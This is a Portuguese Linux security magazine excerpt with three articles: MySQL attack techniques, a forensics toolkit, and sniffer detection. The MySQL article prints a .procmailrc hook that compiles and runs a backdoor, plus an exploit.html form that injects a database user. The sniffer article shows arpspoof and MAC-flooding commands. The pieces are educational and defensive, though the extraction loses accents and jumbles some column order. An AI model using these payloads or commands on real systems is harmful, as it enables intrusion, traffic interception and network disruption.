groups=0(root),1(bin),2(daemon),3(sys),4(adm),
6(disk),10(wheel),11(floppy)
sh-2.03#
No nosso exemplo ganharamos uma
shell suid root brincando. Na Selva (Internet)
exemplos assim so raros, no entanto no
incomum a obteno de uma shell de usurio
a partir de esquemas semelhantes a este
descrito.
O Administrador de Rede precisa estar
ciente de qual editor de texto o padro em
seu Sistema Operacional e do usurio em
questo, bem como estar ciente da
potencialidade que este editor pode oferecer
em caso de ataques como o descrito.

3.4 - Invadindo um sistema via


MySQL
Como vimos, localmente possvel a
um atacante conseguir uma conta de acesso
ao banco de dados atravs de ataques de
Brute Force. Remotamente no diferente.
Se o Servidor MySQL permite que o atacante
obtenha
acesso
ao
sistema
remotamente(mquina diferente da maquina
servidora), ento ele pode efetuar um ataque
de brutal force em busca de contas vlidas e
ser bem sucedido. O programa abaixo
exemplifica isso:
http://www.linuxsecurity.com.br/info/
revista/1/nash/mybrut.c

a partir das contas, ento ele precisa checar


a possibilidade de um atacante efetuar um
ataque do tipo Brute Force visando o Servidor
MySQL.
Outro possivel exemplo de invasao
simples atraves do MySQL o bastante
conhecido metodo do .rhosts. Se um sistema
possui os daemons rshd e/ou rlogind, ele
pode estar correndo perigo(No , de modo
algum, interessante usar estes servicos r*,
ou seja, nunca use tais servios!).
Um exemplo de exploit para este tipo
de ataque pode ser visto abaixo:
http://www.linuxsecurity.com.br/info/
revista/1/nash/myrhost.c
Algum Administrador pode pensar que
este ataque ineficaz e que pouqussimos
so os sistemas vulnerveis a isso! Mas este
documento serve para demonstrar o
conceito! E o conceito visto no ataque acima
muito abrangente(expansvel) e a
realidade que inmeros sistemas esto
vulnerveis ao mesmo! Como assim?
Ao invez de usarmos um ataque a rlogin
(do cdigo exemplo), poderamos usar um
ataque ao sendmail(.procmailrc) do tipo:
.procmailrc

:H
*
|/bin/bash -c /usr/bin/gcc -o \
/tmp/hack /tmp/hack.c; /tmp/hack
-

Novamente, a configurao um fator


decisivo. Se o Administrador est ciente de
quais hosts podem acessar o banco de dados

www.linuxsecurity.com.br

72

Onde o prprio /tmp/hack poderia ser


uma backdoor do tipo bindshell inserida via
banco de dados no sistema. Esses dois
exemplos demonstram de forma clara os
perigos que uma m configurao do servidor
MySQL pode ocasionar. Neste caso,
aconselhvel ao Administrador procurar se
precaver atravs da prpria topologia de
rede, onde um servidor de e-mails estar
executando em uma maquina diferente da
mquina que contm o Servidor MySQL e com
arquivos em potencial(.procmailrc e etc) j
devidamente criados vazios e de forma
"imutvel" pelo super-usurio.
Pode-se ainda capturar o arquivo de
senhas do sistema. Isto poder facilitar uma
investida maior de Brute Force em busca de
shell. O exploit abaixo exemplifica isso:
http://www.linuxsecurity.com.br/info/
revista/1/nash/mycap.c

No entanto, os programadores
precisam estar cientes dos problemas que
um CGI pode ocasionar, e sua interao
com o Banco de Dados no escapa a regra.
Veremos
alguns
exemplos
que
demonstram o perigo que manipular CGI
e
MySQL
de
forma
insegura.
Conhecimentos Bsicos de alguma
linguagem que manipule CGIs bem vindo,
no entanto, veremos exemplos em PHP.

4.1 - Furos na Interao


Um dos maiores problemas de
seguranca envolvendo "CGI x Banco de
Dados" reside na falta de conhecimento
dos programadores no que se refere aos
formulrios e as variveis que eles enviam.
Vejamos um exemplo com marcas hidden,
utilizando a seguinte tabela de uma
Database chamada "texto". Veja na
pgina a seguir.

Como podemos notar, a captura dos


arquivos no sistema por um atacante pode
no ser nem um pouco interessante para um
Administrador de Rede. No entanto, os
problemas no param por a. Veremos abaixo
como os programadores podem facilitar as
coisas para que atacantes obtenham acesso
a recursos indesejveisdentro de um sistema
com MySQL.

4 - Problemas com CGIs


muito comum vermos hoje aplicativos
CGI interagindo com um Servidor de Banco
de Dados. O crescimento maior de usurios
do MySQL se deve a este acontecimento.
Por ser um Servidor de Banco de Dados de
fcil manuseio, muitos ISPs tem migrado para
o seu uso.

www.linuxsecurity.com.br

73

mysql> describe usuarios;


+++++++
| Field | Type
| Null | Key | Default | Extra |
+++++++
| login | varchar(50) | YES |
| NULL
|
|
| senha | varchar(20) | YES |
| NULL
|
|
+++++++
2 rows in set (0.00 sec)
Abaixo temos um formulrio e um CGI que interage com esta tabela:
-------------------------- form.html ----------------------------<html>
<title>Exemplo de Formulrio Problemtico</title>
<body>
<BR><b><h2>Autenticador X</b><BR><BR>
<FORM ACTION="alvo.php" method="post">
Login:
<input type=text name=login size=8>
<BR><BR>
<input type="hidden" name="query" value="SELECT login FROM usuarios
WHERE login">
<input type="submit" value="Enviar">
<input type="reset" value="Apagar">
</form>
</body>
</html>
------------------------------------------------------------------Abaixo ns temos o cdigo .php
vulnervel a execuo de quaisquer
comandos que desejarmos:
http://www.linuxsecurity.com.br/info/
revista/1/nash/alvo.php.txt

informaes no Servidor MySQL e executar


alguns dos ataques que j vimos acima. A
seguir temos um exemplo bsico, onde um
atacante altera a instruo SQL do
formulrio e consegue inserir um login vlido
no sistema, obtendo assim acesso aos
recursos sem saber uma conta vlida no
mesmo. Veja na prxima pgina.

O programador est pressupondo que o


usurio deste recurso ir preencher apenas
o formulrio descrito acima. No entanto, um
atacante poderia perfeitamente criar um
formulrio que interagisse com as
informaes do cdigo php e dependendo
da situao, ele poderia at mesmo escrever

www.linuxsecurity.com.br

74

--------------------------- exploit.html -------------------------<html>


<title>Exemplo de Exploit para Formulrio Problemtico</title>
<body>
<BR><b><h2>Exploit para Form - Revista LinuxSecurity</b><BR><BR>
<FORM ACTION="http://127.0.0.1/texto/alvo.php" method="post">
<input type="hidden" name="query" value="INSERT INTO usuarios SET
login">
<input type="hidden" name="login" value="1,senha=1">
<input type="submit" value="Enviar">
</form>
</body>
</html>
------------------------------------------------------------------Se voc executar este ataque em sua
Intranet Local, ver que ele bem sucedido!
Jamais deve-se utilizar marcas hidden
em instrues (My)SQL. Evite ao mximo o
uso destas marcas. As instrues SQL
precisam estar sempre no cdigo PHP e no
devem serem vistas pelos usurios. Evite a
leitura de scripts e cdigos-fontes por
terceiros setando permisses nos diretrios
ou mesmo utilizando uma Ferramenta
LIDS(IDS Local).

4.2 - Senhas com password()


A Funo password() utilizada pelo
MySQL para criptografar dados no Banco de
Dados tem sido muito bombardeada
atualmente. Inmeras fraquezas tem sido
descobertas no algortmo criptogrfico desta
funo, que permitem vrios ataques de
criptoanlise. No entanto, iremos apenas
abordar um ataque bsico de brute force que
envolve sistemas CGIs que autenticam
utilizando este tipo de funo.

mysql> use texto;


Database changed
mysql> create table senhas(
-> senhas varchar(40));
Query OK, 0 rows affected (0.11 \
sec)
mysql> insert into senhas \
values(password("nashleon"));
Query OK, 1 row affected (0.27 \
sec)
Abaixo temos o script php exemplo:
http://www.linuxsecurity.com.br/info/
revista/1/nash/alvos.php.txt
Podemos usar um exploit com base no
prprio sistema de autenticao.
Conforme segue exemplificado abaixo:
http://www.linuxsecurity.com.br/info/
revista/1/nash/exploit2.php.txt

www.linuxsecurity.com.br

75

Este exemplo serve para ilustrar


as inmeras possibilidades de criao
de exploits que executam Brute Force
para aplicaes especficas com base
no prprio sistema de autenticao.

5 - Sugestes
Existem ainda inmeros problemas
envolvendo as permisses dos
usurios, em que possvel
encontrarmos
sistemas
com
permisses como SELECT, INSERT,
DELETE e etc ativas em todos os
usurios para todas as tabelas.
Aconselho ao Administrador da
Rede(Servidor MySQL) ler com bastante
cuidado o item sobre Sergurana do
"MANUAL" que acompanha o MySQL, e
ter sempre cuidado com as permisses
ao acrescentar um novo usurio.
Recomendo ainda que procure
testar sempre a Segurana do Servidor
MySQL, levando em conta os problemas
que um programador desinformado ou
mesmo um usurio leigo(que por
exemplo setou uma pssima senha)
possa vir a fornecer.

6 - Links e Referncias

7 - Consideracoes Finais
Vale ressaltar que este documento
aborda apenas os aspectos bsicos de
alguns problemas que pode-se encontrar em
um Servidor MySQL. De modo que deve-se
ir fundo na pesquisa para se ter uma noo
maior de problemas mais avanados.
Os exemplos e os exploits so
meramente ilustrativos e de modo algum
devem ser usados para fins ilcitos. Todos
os dados e exemplos aqui fornecidos
possuem somente o carter educional.
Estou aberto a sugestes, crticas e
quaiquer dvidas.
Um Cordial Abrao a Todos.

Ficha do Autor
Nome: Glaudson Ocampos
Idade: 24 anos
Profisso: Analista de Segurana

Foto No
Disponvel

email: nashleon@yahoo.com.br

"Manual do MySQL"
http://www.mysql.org/
"MySQL" by Unsekurity Scene
http://unsekurity.virtualave.net/

Informaes Adicionais
Colaborador do site Unsek Scene.

"MySQL Hacking" by Nash Leon


http://coracaodeleao.virtualave.net/
Site: http://www.unsekurity.virtualave.net

www.linuxsecurity.com.br

76

Introduo Anlise Forense - Parte II


por Leonardo Alcntara Moreira

Ferramentas de coleta
No artigo anterior apresentamos o
procedimento do administrador de redes
quando seu objetivo preservar intacto o
estado de seu sistema de modo a permitir
uma anlise. Comentamos sobre a
necessidade de uma "caixa de ferramentas"
que disponibilize os recursos necessrios
realizao da coleta de dados. Porm no
detalhamos seu contedo, que ser nossa
tarefa desta vez.
A primeira coisa que devemos ter em
mente que no existe um nico ou melhor
conjunto de ferramentas para realizar este
tipo de anlise. Tudo depender dos
sistemas alvo, do gosto e prtica do analista
e dos objetivos que se deseja alcanar. Antes
de tudo necessrio o entendimento do
funcionamento de cada ferramenta a ser
utilizada e a prtica. No adianta baixar um
kit completo com a "melhor e mais completa"
seleo de ferramentas e utiliz-las em uma
ordem que no respeite a volatilidade das
informaes.
O kit que iremos construir focado em
sistemas Unix para a arquitetura Intel,
principalmente o Linux, como no poderia
deixar de ser em um artigo desta publicao.
No entanto eu gostaria de ressaltar que este
kit tambm pode ser til para a anlise de
eventos em outras plataformas. No difcil
complement-lo com utilitrios para outros
sistemas, tornando-o bem diversificado.
Visando o aprendizado melhor
discutirmos a montagem de um kit prprio,
com o bsico, permitindo assim ao leitor criar
verses adequadas as suas necessidades,
ou ao menos saber escolher quais
ferramentas estudar em uma coleo muito
complexa.

A principal funo deste kit oferecer


ferramentas de coleta de informaes de
forma rpida e segura. A coleta a atividade
mais crtica. Lembre-se que a primeira coisa
a fazer reunir o maior quantidade de
informaes para a anlise. No se deve
perder tempo e nem desviar a ateno deste
processo tentando tirar concluses de
antemo. Estas concluses antecipadas
podem atrapalhar a viso fria daquele que
pretende recolher tudo que puder ser
evidncia, guiando-o para se concentrar no
que possa corroborar suas hipteses, muitas
vezes equivocadas.
As ferramentas bsicas de coleta so
os utilitrios do sistema operacional que
apenas listaremos brevemente sem entrar
em mais detalhes:
cp
cpia de arquivos.
ls
listagem de diretrios.
ps
estado processos em execuo.
cat
redirecionamento do contedo de
arquivos.
netstat
estado da rede, incluindo portas em
escuta, roteamento e etc.
fsck
checagem de integridade de sistemas
de arquivos.

www.linuxsecurity.com.br

77

dd
duplicao a baixo nvel de sistemas de
arquivo.
lsof
Lista de arquivos abertos. Esta
ferramenta necessita estar compilada para
o kernel em utilizao, pois manipula
diretamente estruturas internas destes para
recolher informaes. Sua utilidade a
facilidade de relacionar os processos em
execuo com os arquivos que esto
utilizando.
md5sum
gera o hash md5 para um determinado
arquivo de entrada.
netcat
chamado de o canivete suo das redes
TCP/IP. Este um utilitrio que permite criar
servidores e clientes de rede com facilidade.
Permite em qualquer ambiente criar
rapidamente a infra-estrutura bsica para
transferir dados entre hosts.
lsmod
lista os mdulos do kernel que esto
carregados. Os LKM so uma ferramenta
muito utilizada para a implantao de root
kits.

Ferramentas de Anlise
bmap
O espao em disco alocado para os
arquivos em blocos. Quando o fim do bloco
no coincide com o fim de arquivo h uma
sobra de espao que fica perdido e
totalmente transparente. Assim sendo
quando blocos so sobrescritos possvel
muitas vezes encontrar partes do arquivo
anterior neste espao. Este utilitrio permite
ler e gravar neste trecho no fim dos blocos
de disco.

strings
busca todas as strings de caracteres
imprimveis em arquivos. teis para
encontrar strings especficas principalmente
ao tentar recuperar arquivos, ou para analisar
blocos de disco em busca de alguma
informao com sentido.
mount
montagem de sistemas de arquivos.
grep
busca de expresses regulares.
TCT - The Coroner's Toolkit.
Este Toolkit foi desenvolvido por Vietse
Venema (autor do Postfix, Satan, tcpwrapper,
entre outros) e Dan Farmer (Satan, COPS),
e consiste em ferramentas bsicas no muito
amigveis porem extremamente eficientes
no que se prope. http://www.fish.com/tct
Task - The @stake Sleuth Kit
uma evoluo do TCT implementada
pela empresa @stake. Tem como principais
diferenciais em relao ao primeiro o suporte
a novos filesystems (NTFS, FAT) e a interface
web que facilita o processo de anlise.
http://www.atstake.com/research/tools/
task/

Ferramentas Extras
Tripwire e similares
Caso seja utilizada alguma ferramenta
de verificacao de integridade, ao estilo
Tripwire, esta tambm fara parte da anlise,
mas no do necessriamente do seu kit.
Como premissa bsica esta ferramenta no
deve estar instalada no sistema, para evitar
www.linuxsecurity.com.br

78

o seu comprometimento, logo j dever estar


em uma mdia a parte.
Sistema espelho
Quando for possvel instalar um sistema
espelho com todos os binrios originais, na
mesma verso, este pode servir como termo
de comparao.

Concluso
A utilizao de vrias fontes de indcios
para corroborar uma hiptese fundamental,
mas deve-se evitar o exagero na quantidade
de ferramentas disponveis. Este excesso
aumenta a quantidade de trabalho a ser
executada e at confunde o analista.
Existe uma infinidade de utilitrios
disponveis que podem se adequar a esta
ou aquela necessidade. O importante
passar a idia dos tipos de ferramentas so
necessrias. No pretendemos aqui esgotar
o tema. Uma sugesto para quem no quer
perder tempo recorrer diretamente FIRE
- Forensics and Incident Response
Environment, antiga Biatchux, que uma
distribuio de Linux focada em anlise
forense como o novo nome j diz.
distribuda como uma imagem iso que ao
ser queimada gera um cd de boot com todas
as ferramentas mais usuais. Acredito que
esta seja uma excelente opo pois
reinventar a roda no o mais produtivo.
Esta distribuio no entanto tem ferramentas
demais, e at est perdendo um pouco o
foco tantas so as funcionalidades que esto
sendo includas.
http://biatchux.dmzs.com/

Ficha do Autor
Nome: Leonardo Alcntara

Moreira

Idade: 29 anos
Profisso: Engenheiro de

Computao

email: leonardo@montreal.com.br

Informaes Adicionais
Analista de Projetos da empresa Montreal Informtica

Site:

www.linuxsecurity.com.br

79

Sniffers - Bsico e Deteco


por Sumit Dhar

Como funciona um Sniffer

"If you know the enemy and know yourself,


you need not fear the result of a hundred
battles. If you know yourself but not the
enemy, for every victory gained you will also
suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every
battle."
--Sun Tzu in The Art of War

Introduo
Um sniffer um programa ou dispositivo
que observa o trfego de uma rede coletando
informaes que trafegam na mesma.
Sniffers basicamente utilizam tecnologia de
'Interceptao de Dados'. Eles funcionam
porque a Ethernet foi desenvolvida em torno
do princpio do compartilhamento. A maioria
das redes utilizam tecnologia de broadcast
em que mensagens de um computador podem
ser lidos por outro na mesma rede. Na prtica,
todos os computadores, com exceo
daquele que uma mensagem destinada,
iro ignorar essa mensagem. Porm,
computadores podem ser configurados para
aceitarem mensagens mesmo que no sejam
os destinatrios legtimos. Isso pode ser
realizado atravs de um Sniffer!
Computadores conectados a switches
esto to vulnerveis a 'sniffing' quanto
aqueles conectados a hubs. Esse artigo
procura explorar o tpico a respeito de
sniffers, como eles funcionam, alm da
deteco e proteo contra a utilizao
maliciosa desses programas. Finalmente, ao
fim falaremos algo a respeito de sniffers
comumente disponveis.

Um computador conectado Internet


possui dois endereos. Um deles o
endereo MAC (Media Access Control) que
identifica cada node em uma rede e
armazenado na prpria placa de rede. O
endereo MAC utilizado pelo protocolo
Ethernet ao construir os "frames" para
transferncia de dados que saem ou chegam
em uma mquina da rede. O outro o
endereo IP, que utilizado pelos
aplicativos.
A camada de dados (Data Link Layer)
utiliza o cabealho Ethernet com o endereo
MAC da mquina destino ao invs de seu
endereo IP. A camada de rede (Network
Layer) responsvel por mapear endereos
de rede IP para o endereo MAC utilizado
pela camada de dados (Data Link Layer).
Ela inicialmente procura pelo endereo MAC
da mquina destino em uma tabela,
comumente chamada de cache ARP (Address
Resolution Protocol). Caso nenhuma entrada
seja encontrada para o endereo IP, o
protocolo ARP envia em broadcast um pacote
de requisio ARP para todas as mquinas
da rede. A mquina com aquele endereo
responde com seu endereo MAC. Esse
endereo MAC ento adicionado na tabela
ARP cache da mquina origem. A mquina
origem passar a utilizar ento esse
endereo MAC em todas as suas
comunicaes com a mquina destino.
Existem dois tipos bsicos de
ambientes Ethernet e o modo como os
sniffers hajem em cada um desses casos
diferente.
Shared Ethernet: Em um ambiente
de Ethernet compartilhada, todos os hosts
esto conectados no mesmo segmento e

www.linuxsecurity.com.br

80

competem entre si pela banda disponvel.


Em tal ambiente pacotes destinados a uma
certa mquina so recebidos por todas as
outras. Quando a mquina Venus (Comp 1)
quer estabelecer comunicao com a Cupid
(Comp 2) nesse ambiente, ela envia um
pacote para a rede tendo como destino o
endereo MAC da Copid juntamente com seu
prprio endereo MAC como origem. Todos
os computadores da Ethernet compartilhada
(Comp 3 e Comp 4) comparam o endereo
MAC de destino com seus prprios. Caso o
endereo de destino no seja o mesmo, o
pacote ser silenciosamente descartado.
Uma mquina executando um sniffer quebra
essa regra e aceita todos os pacotes. Tal
mquina considerada como estando em
modo promscuo e pode observar todo o
trfego de uma rede de forma efetiva.
Sniffing em um ambiente de Ethernet
Compartihada totalmente passivo e
extremamente difcill de ser detectado.

Figura 1: Uma rede Ethernet


compartilhada

computadores estiverem em modo


promscuo, eles podem capturar toda a
comunicao entre o Comp 1 e Comp 2
Switched Ethernet: Um ambiente
Ethernet no qual os hosts esto conectados
atravs de um switch ao invs de um hub
chamado de Switched Ethernet. O switch
mantm uma tabela com informaes a
respeito do endereo MAC e a porta fsica
no prprio switch relacionado ao endereo,
enviando pacotes destinados a uma
determinada mquina da rede de forma
correspondente a essa tabela. O switch
um dispositivo inteligente que envia pacotes
apenas ao computador destino de uma rede
e no realiza broadcast a todas as mquinas
da rede como no caso apresentado
anteriormente, resultando numa melhor
utilizao da banda disponvel e mais
segurana.
Nesse caso, o processo de colocar a
mquina em modo promscuo demonstrado
anteriormente para captura de pacotes da
rede no funciona. Como resultado, mesmo
os Administradores se Sistemas mais
experientes passam a acreditar que redes
switched so totalmente seguras e imunes
a sniffing. Infelizmente, essa no a
verdade.

Veja figura na prxima pgina

[Pacotes do Comp 1, destinados ao


Comp 2 so recebidos tanto pelo Comp 3
quanto Comp 4, porm em circunstncias
normais eles so rejeitados pois o endereo
MAC de destino nesses pacotes no so os
dessas mquinas. Porm se esses

www.linuxsecurity.com.br

81

um host configurando o endereo MAC do


gatway para FF:FF:FF:FF:FF:FF (tambm
conhecido como MAC broadcast). Uma
excelente ferramenta para isso o arpspoof
que acompanha o pacote dsniff. Pode-se
utilizar o arpspoof para alterar o cache ARP
de uma mquina da seguinte maneira:
Obs: Se estiver lendo a revista direto de um
visualizador PDF, utilize a ferramenta Zoom para ver
o cdigo abaixo.

Figura 2: Uma Rede Switched


[Em uma rede switched, pacotes do
Comp 1 destinados ao Comp 2 no so
recebidos por outros terminais conectados
ao switch. Mesmo que o Comp 3 e o Comp 4
estejam em modo promscuo, eles no tero
como observar o trfego entre o Comp 1 e
Comp 2. Para tal, um usurio malicioso ter
de utilizar ou arpspoof ou realizar um flood
MAC no switch]
Mesmo sendo o switch mais seguro que
um hub, os mtodos seguintes ainda podem
ser utilizados para a realizao de sniffing:
1.ARP Spoofing: Ns explicamos
anteriormente como o ARP utilizado para
obter o endereo MAC da mquina destino a
qual ele deseja comunicar-se. O ARP
stateless, voce pode enviar uma resposta
ARP sem nem mesmo ter recebido uma
requisio para tal reply ser aceito.
Idealmente quando voce realiza sniffing em
um trfego originrio da mquina Venus, voce
pode forjar pacotes ARP do gatway da rede.
O cache ARP da Venus ir ter uma entrada
errnea para o gateway. Dessa forma todo o
trfego destinado ao gateway ir passar
atravs de sua mquina. Outro truque que
pode ser utilizado alterar o cache ARP de

[root@sushma root]# arpspoof -t 203.199.66.243 203.199.66.193


0:80:ad:7c:7:3a 52:54:5:f3:95:1 0806 42: arp reply \
203.199.66.193 is-at 0:80:ad:7c:7:3a
0:80:ad:7c:7:3a 52:54:5:f3:95:1 0806 42: arp reply \
203.199.66.193 is-at 0:80:ad:7c:7:3a

A opo -t especifica o destino cujo


cache ARP deseja-se alterar e o outro
argumento o endereo IP do gateway que
desejamos forjar (spoofing). Agora todos
os dados destinados ao gateway a partir da
mquina que escolhemos ter de passar por
nossa mquina. Antes de realizar esse teste,
essencial que voc habilite o IP Forwarding
de sua mquina, que pode ser feito atravs
do comando:
Obs: Se estiver lendo a revista direto de um
visualizador PDF, utilize a ferramenta Zoom para ver
o cdigo abaixo.

[root@sushma root]# echo 1 >


/proc/sys/net/ipv4/ip_forward
[root@sushma root]# cat /proc/sys/net/ipv4/ip_forward
1
[root@sushma root]#

Se o comando cat retornar o valor 1,


ento o IP Forwarding estar habilitado, mas
se retornar o valor 0, ento o IP Forwarding
estar desabilitado. importante habilitar
o IP Forwarding, pois do contrrio sua rede
passar a no mais funcionar.
MAC Flooding: Switches mantm uma
tabela de traduo que mapeia vrios
endereos MAC para portas fsicas do switch.
Como
resultado
disso
ele
pode
inteligentemente rotear pacotes de um host

www.linuxsecurity.com.br

82

a outro da rede. O switch possui memria


limitada para essa tarefa. O MAC flooding
faz uso dessa limitao para bombardear o
switch com falsos endereos MAC at que o
mesmo no possa mais manter a tabela. O
Switch entra no que chamado de modo
failopen em que ele comeca a atuar como
um HUB, realizando broadcast de pacotes
para todas as mquinas da rede. Uma vez
que isso tenha ocorrido, a realizao de
sniffing torna-se fcil. O MAC floofing pode
ser realizado atravs do macof, mais um
utilitrio que acompanha o pacote dsniff.
Obs: Se estiver lendo a revista direto de um
visualizador PDF, utilize a ferramenta Zoom para ver
o cdigo abaixo.

[root@sushma root]# macof


84:a4:d3:57:ef:8 12:56:52:42:dc:95 0.0.0.0.16630 > 0.0.0.0.3031: S \
1484147693:1484147693(0) win 512
88:f0:9:3f:18:89 d:86:53:53:d7:f8 0.0.0.0.15535 > 0.0.0.0.7466: S \
293820390:293820390(0) win 512

Cuidado: Esse mtodo pode levar a


degenerao dos servios da rede e no
deve ser executado por um longo
intervalo de tempo.
Detectando Sniffers
Normalmente um sniffer passivo, ele
apenas coleta dados. Por isso ele se torna
extremamente difcil de ser detectado,
especialmente quando executado em uma
Ethernet Compartilhada. Mas bem mais
fcil detectar um sniffer quando ele est
sendo utilizando em um segmento de uma
Ethernet Switched. Quando instalado em um
computador, um sniffer gera uma pequena
quantidade de trfego. Veja aqui alguns
mtodos gerais de deteco:
Mtodo Ping: O truque utilizado aqui
o de enviar uma requisio ping com o
endereo IP da mquina suspeita mas no

seu endereo MAC. Normalmente ninguem


deveria enxergar esse pacote j que todos
os adaptadores ethernet iro rejeit-lo por
no ser destinado a nenhum endereo MAC
existente. Mas se a mquina suspeita estiver
executando um sniffer, ela ir responder, j
que no se preocupa se o pacote destinado
a seu endereo MAC ou no. Esse um
mtodo antigo e no deve ser considerado
mais como confivel.
ARP Method: Uma mquina realiza
cache ARP. Ento o que devemos fazer
enviar um ARP no-broadcast. Uma mquina
em modo promscuo ir fazer cache de seu
endereo ARP. Logo aps enviamos um
pacote ping broadcast com nosso IP, mas
com um endereo MAC diferente. Somente
a mquina que possui o endereo MAC
correto ser capaz de responder nossa
requisio ping broadcast. Voila!
On Local Host: Muitas vezes depois de
sua mquina ser comprometida, hackers
deixaro sniffers, para o comprometimento
de outras mquinas a partir da sua. Em uma
mquina local execute o ifconfig. Em uma
mquina limpa, a sada desse comando ser
parecido com:
Obs: Se estiver lendo a revista direto de um
visualizador PDF, utilize a ferramenta Zoom para ver
o cdigo abaixo.
[root@sushma root]# /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 52:54:05:F3:95:01
inet addr:203.199.66.243 Bcast:203.199.
UP BROADCAST RUNNING MULTICAST MTU:1500 ...

Porm em uma mquina com sniffer sendo


executado, a sada do comendo ser
ligeiramente diferente. Faa a checagem em
especial da ltima linha, que menciona
.RUNNING PROMISC(lembre-se que essa
mensagem pode variar de acordo com a lngua
nativa de sua distribuio ou sabor Unix). Isso
significa que a mquina est em modo
promscuo e provavelmente um sniffer est
sendo executado nela.

www.linuxsecurity.com.br

83

[root@sushma root]# /sbin/ifconfig


eth0 Link encap:Ethernet HWaddr 52:54:05:F3:95:01
inet addr:203.199.66.243 Bcast:203.199. ...
UP BROADCAST RUNNING PROMISC MULTICAST ...

A sada do comando ifconfig acima foi


modificada para que coubesse no exemplo.
Latency Method: Esse mtodo
baseado na hiptese de que a maioria dos
sniffers realiza algum tipo de filtragem. Muito
simples porm, nesse mtodo, uma grande
quantidade de dados enviada para a rede
e ping enviado para a mquina suspeita
antes e durante o flood de dados. Se a
mquina estiver em modo promscuo, ir
filtrar os dados, aumentando sua carga de
processamento e tambm levar tempo extra
para responder a requisio ping. Essa
diferena dos tempos de resposta pode ser
utilizada como um possvel indicador de que
a mquina est ou no em modo promscuo.
Um ponto que vale a pena notar que
pacotes podem se atrasar tambm devido
ao consumo de banda, resultando em falsos
positivos.
ARP
Watch:
Como
descrito
anteriormente, um mtodo para realizar
sniffing em uma rede switches forjando o
ARP gateway. Uma ferramenta chamada
arpwatch pode ser utilizada para monitorar
o cache ARP de uma mquina e observar se
h algum dado duplicado para uma mquina.
Se existir, poder acionar alarmes e levar a
deteco de sniffers. Infelizmente em uma
rede que tenha DHCP implementado, isso
pode resultar em muitos alarmes falsos. Uma
simples alterao que pode ser feita o
aumento do lease tim do DHCP. Dessa forma
mesmo depois de seus usurios retornarem
de uma folga de fim de semana, eles obtero
o mesmo endereo IP diminuindo
sensivelmente as chances de alarmes falsos.
Para ser honesto, no nada fcil

detectar sniffers. Muitas vezes voc


depender de sua intuio para descobrir
que h um sniffer sendo executado. Se a
performance de sua rede repentinamente for
alterada, possvel que alguem tenha feito
com que o switch entrasse em modo failopen
ou se usurios comeam a reclamar que suas
senhas esto sendo mudados sem seu
conhecimento. So exemplos de casos em
que voc dever suspeitar de sniffers na
rede.
A antiga afirmao de que a prevenir
sempre melhor que remediar se torna muito
vlida nesse caso. Cada sniffer precisa ser
executado como root para serem teis.
Bloqueando sua rede para que nenhum dos
usurios possua privilgios administrativos
certamente a maneira mais fcil de
certificar a pureza da mesma.
Tendo acesso a conta de root em todas
as mquinas de sua rede, voc pode
periodicamente checar se as interfaces de
rede foram colocadas em modo promscuo
atravs do comando ifconfig. Isso pode ser
at mesmo automatizado atravs da
utilizao de scripts sendo executados de
tempos em tempos.
Evitando Sniffing
A melhor maneira de assegurar sua rede
contra sniffing atravs da utilizao de
criptografia. Enquanto isso no ir evitar que
o sniffer funcione, ir garantir que tudo que
ele captar seja sujeira e no tenha serventia.
Se voc est em uma rede switches, as
chances de que o arp spoofing seja utilizado
com propsitos de sniffing. A mquina que
o usurio malicioso provavelmente tentar
forjar o gateway. Para evitar que isso
acontea, voc pode adicionar o endereo

www.linuxsecurity.com.br

84

MAC de seu gateway permanentemente em


seu cache ARP. Isso pode ser feito atravs
da colocao desse endereo MAC e de outras
mquinas importantes no arquivo /etc/
ethers.
Comece a utilizar o SSH. O SSH est
rapidamente se transformando em um
ntodo padro de comunicao entre
mquinas (principalmente Unix/Linux). Para
maiores informaoes sobre o SSH, visite a
pgina http://www.ssh.fi.
Voc pode querer tambm verificar a
implementao Open Source OpenSSH em
http://www.openssh.org.
Ao invs de utilizar http, utilize https
se o site suportar. No caso de voc realmente
se sentir preocupado com a privacidade de
seus emails, voc precisa conhecer o
hushmail (http://www.hushmail.com). O
Hushmail utiliza SSL para certificar que os
dados no sejam lidos em trnsito. Voc deve
tambm experimentar o Pretty Good Privacy
(http://web.mit.edu/network/pgp.html) ou o
GnuPG
(http://www.gnupg.org/
download.html) para a criptografia e
assunatura de seus emails, evitando que
outros possam l-los.
Se voc no quiser que outros sejam
capazes de realizar sniffing de detalhes de
websites que voc visita, visite http://
anon.inf.tu-dresden.de/index_en.html.
Outros
como
o
https://
www.anonymizer.com/ tambm oferecem
servios similares, porm de forma comercial.
Em se tratando de sistemas Instant
Messaging, nenhum dos principais programas
existentes (Yahoo, MSN, AOL, ICQ, etc)
ainda possuem suporte para criptografia.
Como resultado disso, conversaes feitas
podem ser (e muitas vezes so) registradas.

Usurios podem desejar experimentar o


http://www.trillian.cc , um IM que suporta
criptografia.
[Nota: Eu no sou afiliado a nenhum dos
fornecedores comerciais citados e no
sou suportado por eles tambm. Estou
apenas oferecendo essa informao da
mesma
forma
com
que
so
apresentadas.]

Ferramentas Sniffing
J que sou um profissional Linux, irei
listar alguns sniffers comuns disponveis
para esse sistema operacional.
tcpdump: O poderoso chefo de todos
os sniffers de pacotes. Acompanha como
padro muitas distribuies Linux! Ele
captura os cabealhos de pacotes que casem
com uma expresso boleana. Os dados de
pacotes capturados podem ser gravados em
um arquivo para posterior anlise. Ele est
disponvel oficialmente atravs do endereo:
http://www.tcpdump.org/daily/tcpdumpcurrent.tar.gz
sniffit: Sniffer de pacotes robusto e
com boas opes de filtragem. Disponvel
atravs do endereo:
http://sniffit.rug.ac.be/ coder/sniffit/
sniffit.html
ethereal: Um analisador de protocolos
de rede livre para Windows e Unix. Ele
permite que voc examine dados de uma
rede em tempo real ou de um arquivo
capturado em disco. Dados capturados
podem ser explorados atravs de uma

www.linuxsecurity.com.br

85

interface grfica. Disponvel tanto para Unix


quanto para Windows atravs de:
http://www.ethereal.com/download.html.

hunt: De acordo com Pavel Krauz, o


principal objetivo do projeto o de
desenvolver uma ferramenta para explorao
de falhas bem conhecidas do protocolo TCP/
IP. Bem, eu acredito que ele chegue bem
perto disso. Uma vantagem adicional da
utilizao do hunt que ele permite que
voc sequestre conexes ativas e tome o
controle sobre as mesmas. Que eu saiba,
nenhum outro sniffer permite que voc faa
isso. Ele est disponvel no endereo:
ftp://ftp.gncz.cz/pub/linux/hunt/hunt1.5.tgz

(para observar websites em sua rede que


seus usurios esto visitando), msgsnarf
(para observar as sesses instant messenger
